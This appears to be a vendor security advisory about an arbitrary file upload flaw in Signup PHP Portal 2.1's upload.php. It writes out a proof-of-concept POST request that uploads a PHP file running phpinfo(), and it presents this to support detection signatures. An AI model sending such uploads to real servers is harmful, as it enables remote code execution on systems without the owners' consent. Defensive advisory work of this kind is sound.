Signup PHP Portal 2.1 File Upload


Application Details

Signup PHP Portal is a web based system which contains numerous different types of template, allowing the creation and maintenance of accounts to be easier. It also contains registration and email templates.


Vulnerability

Signup PHP Portal could allow a remote attacker to upload arbitrary files, caused by the improper validation of file extensions by the upload.php script.


Identification

An attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.


POST /signup_custom_script/upload.php HTTP/1.1

-----------------------------31332959606631614493658875280
Content-Disposition: form-data; name="name"
p1fna9ivqhk6g1fbjqto1f711ooq9.php
-----------------------------31332959606631614493658875280
Content-Disposition: form-data; name="file"; filename="file.php"
Content-Type: application/octet-stream
<?php echo phpinfo(); ?>
-----------------------------31332959606631614493658875280------------


Detection

By turning this into a traffic file and matching rule, we are able to detect arbitrary file upload attempts to the application.


Coverage

Idappcom has created signatures 8022230 and 8022231 along with traffic files.


References

Signup PHP Portal 2.1 Shell Upload - Packet Storm Security

X-Force Vulnerability Report


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can share your defences and report any issues. Learn more here: https://www.idappcom.co.uk/traffic-iq-professional